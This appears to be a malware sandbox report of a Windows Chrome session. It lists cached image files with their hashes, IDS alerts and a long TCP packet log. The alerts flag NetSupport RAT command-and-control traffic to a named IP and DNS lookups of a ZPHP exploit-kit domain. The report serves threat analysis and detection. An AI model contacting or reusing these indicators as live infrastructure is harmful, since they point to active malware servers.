Preview:	.PNG........IHDR...C...C.......s....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-07-22T10:59:59+08:00" xmp:ModifyDate="2022-07-22T11:01:15+08:00" xmp:MetadataDate="2022-07-22T11:01:15+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:14757d70-76fb-5b4f-bc1c-34b9c9606df2" xmpMM:DocumentID="xmp.did:f0db2321-6286-404a-9159-2bbd984bed72" xmpMM:Origi

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	6.453509405889326
Encrypted:	false
SSDEEP:	48:N/6sMYL4knA9WIYz/c0BYoYltY43BYCHnsKIZ0NlU:NSJYkknmWIYz/LYoY3YaYCHnsKIZ0NlU
MD5:	7FFBD59127F3A05E5F22BE77A32502C4
SHA1:	6C367EA6421607399E021C6CACE3303EDC804CB7
SHA-256:	353A721E6D5AD8BA073A58C960881196E83D50309BCBE8988003DEE717E74438
SHA-512:	E8601CB4DE707061DA8B65B1F521BBBCF71A36530C676CC92E25F26F963D4480E54D02E6C7FCE54AA83F45D73AA00B289D299D3154969EC362D936C404B568B5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............iM.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-07-27T11:17:29+08:00" xmp:ModifyDate="2022-07-27T11:23:41+08:00" xmp:MetadataDate="2022-07-27T11:23:41+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:0a6c8c2d-84ff-6b40-ab83-8f70e401f453" xmpMM:DocumentID="xmp.did:0a6c8c2d-84ff-6b40-ab83-8f70e401f453" xmpMM:Origi

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 258 x 258, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	29414
Entropy (8bit):	7.985961949418112
Encrypted:	false
SSDEEP:	768:D7deAXdfUA9E/H5zZYu//dXwD7nJX09frMZVIMk:NeCdMa8Z1b/Rw/nJX09f8fk
MD5:	D3E9A63238B30EF04A72BB6BA94E668C
SHA1:	5F04D5A9786126396828DF27A5ACEDC6A4F3B031
SHA-256:	E4783EE7EC7EEB123E29BE5494AA98F7A0018B0F92FE70C54B16E3B3DBCBA82F
SHA-512:	D1C2775ECFF4F484FEE6C9EC9815BA1F35A6B7C0323E0FDB94487DF4B45A56D21500C020272B618192E93D9BAA76BF30B150B0036A03DE8EF7714C5FA8C001F3
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/weixincodeimage.png
Preview:	.PNG........IHDR..............-N... .IDATx..[.e.u....>....!gz..F..Cj..%R.e........$..... ..A..I.W.D...).....!.l.B.0.I..)...'."jLR.H.S.......m.]+...Y....s...!.......j..U.^AU.!<.om._o...C....m.....m.....m....<....!..m....<....!..m.x.<..oz..o..>.........!<....!<....!.H..F.A.u.......'\|k...m.zS...-U.+....^..B.P\|..>#....}.q.....`........\|O...>'....T.@...!...R..i..90..B@.#]......L.z.....c.......0SJ..:..".K\|.V)...1...g..(.aUE.M...I.9.}...!....s.......Z.....).._.u].W~.pb...b...<.._...0..v..\|..?4...'.$2.s.. Id.X...D..c1.S.s...Cn.....g~'...E...u.B..y(.e....P.F....c..h.o..._=G..X^x.......xfo;.....q..ey.v....g.....[...L1.EQ.f3\|.+T..@qU.G...".B(...kU...H.e..S..\|N.:4.....l....K..W....v..V.l6.<......(....vNE..v.Q..........s~........66..CSJ.....k......=.........oV......>h.......d.v..{...L.gJ;...P;.V.f...u.0.......Z.K0.1..WU=!..S%...g......u....). . o.'..v....\|.3@.....s....u.......N.S..s@)..b..n..i@..8.(...\4.3$.. .4~.c....<....e.!:..H;.T...o...0.q\|..s...3....q..

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 376x850, components 3
Category:	dropped
Size (bytes):	166173
Entropy (8bit):	7.984978829800373
Encrypted:	false
SSDEEP:	3072:2ypVm2AjJH/N6CmQ7Hf6aMRRFzoh/bLjbUmkxoAd8lhlBJCMCd3gwlAbW3wFfENu:jnmJjJH1Vm23MDFqQmkxgvf2pAbQesY
MD5:	192D9F3CB150A659C35AEAAFCE3F7FAD
SHA1:	E5FA0E25CA81F25121A437E2F74F79443D268FFF
SHA-256:	9BB662CC0362DF4FB424190DE69663F4E6F0A4AF8CE8089D67F4E076973D3874
SHA-512:	68997A5ECC0F97A1CF214C21A17D3FD21BEADCCFF690A721A6EBDB667F434986B1F703D400BD1E0290FF55C7FA3BCCDBE2F3C95F90FDA7A5BECD17CB84C0B07C
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:1266BC9A1E6011EF8D74F4EC2FE71949" xmpMM:InstanceID="xmp.iid:1266BC991E6011EF8D74F4EC2FE71949" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b1fa230-4aae-de49-a7f8-3dec3adb4eec" stRef:documentID="adobe:docid:photoshop:f5763641-5d62-a741-a48d-cc4ba512573f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d............................

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-05-27T20:51:30.786642+0200	2035894	ET MALWARE NetSupport RAT with System Information	1	192.168.2.4	49762	5.252.178.123	443	TCP
2025-05-27T20:51:30.786642+0200	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.4	49762	5.252.178.123	443	TCP
2025-05-27T20:51:44.415268+0200	2061991	ET EXPLOIT_KIT ZPHP Domain in DNS Lookup (ace-project .org)	1	192.168.2.4	64780	1.1.1.1	53	UDP
2025-05-27T20:51:44.415403+0200	2061991	ET EXPLOIT_KIT ZPHP Domain in DNS Lookup (ace-project .org)	1	192.168.2.4	52899	1.1.1.1	53	UDP
2025-05-27T20:51:45.115627+0200	2061994	ET EXPLOIT_KIT ZPHP Domain in TLS SNI (ace-project .org)	1	192.168.2.4	49741	162.214.153.12	443	TCP
2025-05-27T20:52:12.243076+0200	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49760	141.193.213.10	443	TCP
2025-05-27T20:52:33.959492+0200	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.4	49762	5.252.178.123	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2025 20:51:30.786642075 CEST	49671	443	192.168.2.4	204.79.197.203
May 27, 2025 20:51:31.153464079 CEST	49671	443	192.168.2.4	204.79.197.203
May 27, 2025 20:51:31.766458988 CEST	49671	443	192.168.2.4	204.79.197.203
May 27, 2025 20:51:33.060273886 CEST	49671	443	192.168.2.4	204.79.197.203
May 27, 2025 20:51:34.736656904 CEST	80	49709	84.201.221.37	192.168.2.4
May 27, 2025 20:51:34.736745119 CEST	49709	80	192.168.2.4	84.201.221.37
May 27, 2025 20:51:35.466017962 CEST	49671	443	192.168.2.4	204.79.197.203
May 27, 2025 20:51:36.047847033 CEST	49723	443	192.168.2.4	142.251.40.36
May 27, 2025 20:51:36.047879934 CEST	443	49723	142.251.40.36	192.168.2.4
May 27, 2025 20:51:36.047926903 CEST	49723	443	192.168.2.4	142.251.40.36
May 27, 2025 20:51:36.048460960 CEST	49723	443	192.168.2.4	142.251.40.36
May 27, 2025 20:51:36.048469067 CEST	443	49723	142.251.40.36	192.168.2.4
May 27, 2025 20:51:36.414710045 CEST	443	49723	142.251.40.36	192.168.2.4
May 27, 2025 20:51:36.415034056 CEST	49723	443	192.168.2.4	142.251.40.36
May 27, 2025 20:51:36.415977955 CEST	49723	443	192.168.2.4	142.251.40.36
May 27, 2025 20:51:36.415982962 CEST	443	49723	142.251.40.36	192.168.2.4
May 27, 2025 20:51:36.416271925 CEST	443	49723	142.251.40.36	192.168.2.4
May 27, 2025 20:51:36.466144085 CEST	49723	443	192.168.2.4	142.251.40.36
May 27, 2025 20:51:38.065989017 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.066075087 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:38.066150904 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.066549063 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.066574097 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:38.066958904 CEST	49727	80	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.067202091 CEST	49728	80	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.377099037 CEST	80	49728	159.138.57.153	192.168.2.4
May 27, 2025 20:51:38.377374887 CEST	49728	80	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.383255959 CEST	80	49727	159.138.57.153	192.168.2.4
May 27, 2025 20:51:38.383481026 CEST	49727	80	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.561187983 CEST	49678	443	192.168.2.4	20.189.173.27
May 27, 2025 20:51:38.721215010 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:38.721369028 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.726015091 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.726042032 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:38.726164103 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.726176023 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:38.726288080 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.726304054 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:38.726614952 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:38.727420092 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:38.727472067 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.727570057 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.728885889 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:38.778495073 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:38.870788097 CEST	49678	443	192.168.2.4	20.189.173.27
May 27, 2025 20:51:39.484144926 CEST	49678	443	192.168.2.4	20.189.173.27
May 27, 2025 20:51:40.270045042 CEST	49671	443	192.168.2.4	204.79.197.203
May 27, 2025 20:51:40.608112097 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:40.609857082 CEST	49728	80	192.168.2.4	159.138.57.153
May 27, 2025 20:51:40.648277044 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:40.687962055 CEST	49678	443	192.168.2.4	20.189.173.27
May 27, 2025 20:51:40.918598890 CEST	80	49728	159.138.57.153	192.168.2.4
May 27, 2025 20:51:40.918787956 CEST	80	49728	159.138.57.153	192.168.2.4
May 27, 2025 20:51:40.921567917 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:40.921619892 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:40.971223116 CEST	49728	80	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.023765087 CEST	49709	80	192.168.2.4	84.201.221.37
May 27, 2025 20:51:42.033873081 CEST	49681	80	192.168.2.4	2.17.190.73
May 27, 2025 20:51:42.187088013 CEST	80	49709	84.201.221.37	192.168.2.4
May 27, 2025 20:51:42.307131052 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.307486057 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.307497025 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.307599068 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.307599068 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.307969093 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.307981014 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.308070898 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.308093071 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.308202028 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.310081005 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.310201883 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.339021921 CEST	49681	80	192.168.2.4	2.17.190.73
May 27, 2025 20:51:42.391041040 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.391096115 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.392041922 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.392055988 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.392086983 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.392100096 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.392420053 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.392429113 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.392455101 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.392468929 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.392498016 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.392498016 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.392508984 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.392529011 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.392570972 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.392579079 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.652977943 CEST	49708	443	192.168.2.4	52.113.196.254
May 27, 2025 20:51:42.661855936 CEST	49708	443	192.168.2.4	52.113.196.254
May 27, 2025 20:51:42.661892891 CEST	49708	443	192.168.2.4	52.113.196.254
May 27, 2025 20:51:42.710644007 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.710988045 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.711045027 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.713439941 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.718123913 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.718189001 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.718389034 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.718456030 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.719927073 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.721056938 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.721107960 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.721210957 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.721219063 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.721275091 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.721280098 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.721291065 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:42.721347094 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:42.816325903 CEST	443	49708	52.113.196.254	192.168.2.4
May 27, 2025 20:51:42.817408085 CEST	443	49708	52.113.196.254	192.168.2.4
May 27, 2025 20:51:42.817420006 CEST	443	49708	52.113.196.254	192.168.2.4
May 27, 2025 20:51:42.817486048 CEST	49708	443	192.168.2.4	52.113.196.254
May 27, 2025 20:51:42.825839043 CEST	443	49708	52.113.196.254	192.168.2.4
May 27, 2025 20:51:42.825850964 CEST	443	49708	52.113.196.254	192.168.2.4
May 27, 2025 20:51:42.825906992 CEST	49708	443	192.168.2.4	52.113.196.254
May 27, 2025 20:51:42.828105927 CEST	443	49708	52.113.196.254	192.168.2.4
May 27, 2025 20:51:42.828114033 CEST	443	49708	52.113.196.254	192.168.2.4
May 27, 2025 20:51:42.828156948 CEST	49708	443	192.168.2.4	52.113.196.254
May 27, 2025 20:51:42.828156948 CEST	49708	443	192.168.2.4	52.113.196.254
May 27, 2025 20:51:42.953473091 CEST	49681	80	192.168.2.4	2.17.190.73
May 27, 2025 20:51:43.032845974 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.032859087 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.033003092 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.033063889 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.033127069 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.034286976 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.034357071 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.035016060 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.035185099 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.035263062 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.036042929 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.036113977 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.036114931 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.036169052 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.036194086 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.036273003 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.037125111 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.037175894 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.038448095 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.038511038 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.038594007 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.038651943 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.038654089 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.038707018 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.039701939 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.039743900 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.039968014 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.040205002 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.040262938 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.040422916 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.040494919 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.040532112 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.094424963 CEST	49678	443	192.168.2.4	20.189.173.27
May 27, 2025 20:51:43.339699984 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.340070009 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.340451956 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.340596914 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.341044903 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.341110945 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.341136932 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.342232943 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.342327118 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.342356920 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.342395067 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.342422962 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.347966909 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.347995043 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.348567963 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.348581076 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.360369921 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.360369921 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.360388041 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.360486984 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.361035109 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.361035109 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.361046076 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.361071110 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.393066883 CEST	49731	80	192.168.2.4	74.125.137.94
May 27, 2025 20:51:43.408891916 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.408891916 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.408945084 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.409085989 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.413192034 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.413203955 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.425020933 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.425044060 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.425988913 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.426003933 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.426120996 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.426131964 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.426690102 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.426691055 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.426706076 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.426729918 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.427103043 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.427113056 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.427593946 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.427593946 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.427607059 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.427866936 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.428343058 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.428343058 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.428762913 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.428762913 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.429162025 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.572094917 CEST	80	49731	74.125.137.94	192.168.2.4
May 27, 2025 20:51:43.572467089 CEST	49731	80	192.168.2.4	74.125.137.94
May 27, 2025 20:51:43.572467089 CEST	49731	80	192.168.2.4	74.125.137.94
May 27, 2025 20:51:43.665894032 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.666064978 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.666266918 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.667001963 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.667663097 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.667690992 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.667798042 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.668303013 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.668593884 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.682446957 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.683074951 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.683114052 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.683512926 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.687551022 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.687834024 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.688162088 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.688461065 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.690243006 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.690382957 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.690922022 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.692373991 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.692614079 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.692760944 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.694130898 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.694360018 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.694370031 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.694478989 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.694505930 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.694518089 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.694567919 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.694652081 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.694679976 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.694752932 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:43.694778919 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:43.694852114 CEST	443	49726	159.138.57.153	192.168.2.4
